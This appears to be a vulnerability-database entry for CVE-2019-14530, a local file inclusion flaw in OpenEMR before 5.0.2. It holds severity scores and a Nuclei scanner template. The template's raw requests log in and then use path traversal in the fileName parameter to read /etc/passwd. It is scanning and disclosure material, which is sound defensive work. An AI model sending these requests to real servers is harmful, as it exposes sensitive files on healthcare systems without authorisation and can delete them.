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nucleiProjectDiscoveryNUCLEI:CVE-2019-14530
HistoryAug 27, 2022 - 5:16 a.m.

OpenEMR <5.0.2 - Local File Inclusion

2022-08-2705:16:12
ProjectDiscovery
github.com
1

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

8.5 High

AI Score

Confidence

High

6 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:S/C:P/I:P/A:P

0.818 High

EPSS

Percentile

98.3%

OpenEMR before 5.0.2 is vulnerable to local file inclusion via the fileName parameter in custom/ajax_download.php. An attacker can download any file (that is readable by the web server user) from server storage. If the requested file is writable for the web server user and the directory /var/www/openemr/sites/default/documents/cqm_qrda/ exists, the file will be deleted from server.
id: CVE-2019-14530

info:
  name: OpenEMR <5.0.2 - Local File Inclusion
  author: TenBird
  severity: high
  description: |
    OpenEMR before 5.0.2 is vulnerable to local file inclusion via the fileName parameter in custom/ajax_download.php. An attacker can download any file (that is readable by the web server user) from server storage. If the requested file is writable for the web server user and the directory /var/www/openemr/sites/default/documents/cqm_qrda/ exists, the file will be deleted from server.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data.
  remediation: |
    Upgrade OpenEMR to version 5.0.2 or later to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/50037
    - https://github.com/openemr/openemr/archive/refs/tags/v5_0_1_7.zip
    - https://github.com/openemr/openemr/pull/2592
    - https://nvd.nist.gov/vuln/detail/CVE-2019-14530
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2019-14530
    cwe-id: CWE-22
    epss-score: 0.81752
    epss-percentile: 0.98091
    cpe: cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: open-emr
    product: openemr
  tags: cve2019,cve,lfi,authenticated,edb,openemr,open-emr

http:
  - raw:
      - |
        POST /interface/main/main_screen.php?auth=login&site=default HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        new_login_session_management=1&authProvider=Default&authUser={{username}}&clearPass={{password}}&languageChoice=1
      - |
        GET /custom/ajax_download.php?fileName=../../../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - filename=passwd

      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100cde0d157b1f1ad456077a0ef3d60e6f38e70f8cf467d6036ad16f8fe68d96d52022053f8803997654057bf04a2b9ba62c26fab74647e278092a57ae9b379eeea2870:922c64590222798bb761d5b6d8e72950

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

8.5 High

AI Score

Confidence

High

6 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:S/C:P/I:P/A:P

0.818 High

EPSS

Percentile

98.3%